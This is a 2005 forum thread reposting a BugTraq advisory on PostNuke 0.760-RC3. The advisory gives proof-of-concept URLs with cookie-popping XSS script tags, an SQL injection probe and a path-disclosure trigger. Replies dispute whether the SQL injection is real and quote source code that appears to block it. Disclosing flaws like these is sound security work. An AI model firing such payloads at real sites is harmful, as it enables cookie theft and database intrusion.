|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Multiple vulnerabilities in PostNuke 0.760-RC3 |
|
Posted: Fri Apr 08, 2005 8:04 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
To: BugTraq
Subject: Sql injection, xss and path disclosure vulnerabilities in PostNuke 0.760-RC3
Date: Apr 8 2005 2:36AM
Author: dcrab <dcrab hackerscenter com>
Message-ID: <20050408023602.4627.qmail@www.securityfocus.com>
Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/
Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more
at http://www.digitalparadox.org/services.ah
GET INFORMED FIRST ABOUT MY ADVISORIES http://www.digitalparadox.org
Severity: Medium
Title: Sql injection, xss and path disclosure vulnerabilities in PostNuke 0.760-RC3
Date: 08/04/2005
Vendor: PostNuke
Vendor Website: http://www.postnuke.com
Summary: There are, sql injection, xss and path disclosure vulnerabilities in postnuke
0.760-rc3.
Proof of Concept Exploits:
http://localhost/admin.php?module="><script>alert(document.cookie)</script>&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie
http://localhost/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480
SQL INJECTION (look wayyy on the bottom of the page)
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual
that corresponds to your MySQL server version for
the right syntax to use near '\'SQL_INJECTION' at line 23
http://localhost/modules.php?op=modload&name=Reviews&file=index&req=showcontent&id='&POSTNUKESID=355776cfb622466924a7096d4471a480
Server Path disclosure
Fatal error: Call to a member function on a non-object in /home/httpd/vhosts/localhost/httpdocs/modules/Reviews/index.php
on line 976
http://localhost/user.php?op="><script>alert(document.cookie)</script>&module=NS-
NewUser&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie
Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string()
and other functions for input
validation before passing user input to the mysql database, or before echoing data
on the screen, would solve these problems.
Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com,
please feel
free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com
or http://digitalparadox.org/.
Lookout or my soon to come out book on Secure coding with php.
Source url: http://www.securityfocus.com/archive/1/395352 |
|
|
|
|
|
|
|
|
Posted: Fri Apr 08, 2005 9:46 pm |
|
|
cXIb8O3 |
Active user |
|
|
Joined: Feb 17, 2005 |
Posts: 26 |
Location: Poland<>Luxembourg |
|
|
|
|
|
|
|
|
|
|
Posted: Fri Apr 08, 2005 10:54 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Well, i have not tested this, so i can't be sure. First look will tell, that those sql injections can be real only, if magic_quotes are off, but to be sure, i must look @ src code. Anyway - if its fake a ka nuked advisory, then let it stays here as example of the informational noise |
|
|
|
|
Posted: Sat Apr 09, 2005 5:03 am |
|
|
shai-tan |
Valuable expert |
|
|
Joined: Feb 22, 2005 |
Posts: 477 |
|
|
|
|
|
|
|
Lol it might be another waraxe-2004-SA013 lol |
|
_________________ Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
Posted: Sat Apr 09, 2005 7:28 am |
|
|
cXIb8O3 |
Active user |
|
|
Joined: Feb 17, 2005 |
Posts: 26 |
Location: Poland<>Luxembourg |
|
|
|
|
|
|
in 0.760-Rc3 is :
---
if (!defined('LOADED_AS_MODULE')) {
die ("You can't access this file directly...");
}
list ($save, $op, $mode, $order, $thold, $sid, $tid, $pageid) =
pnVarCleanFromInput('save', 'op', 'mode', 'order', 'thold', 'sid', 'tid', 'pageid');
if ((empty($sid) && empty($tid)) ||
(!is_numeric($sid) && !is_numeric($tid))) {
include 'header.php';
echo _MODARGSERROR;
include 'footer.php';
exit;
}
---
but in .750 exit; don't exist and is coming html problem.
If you wont realy sql injection.. wait to PNSA2005-2 and 0.760RC4 ;] |
|
|
|
|
Posted: Wed Jul 06, 2005 12:09 am |
|
|
petitmaitreblanc |
Regular user |
|
|
Joined: Jul 05, 2005 |
Posts: 18 |
|
|
|
|
|
|
|
shai-tan wrote: | Lol it might be another waraxe-2004-SA013 lol |
nooo , it's a warhoaxe |
|
|
|
|
www.waraxe.us Forum Index -> PostNuke
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|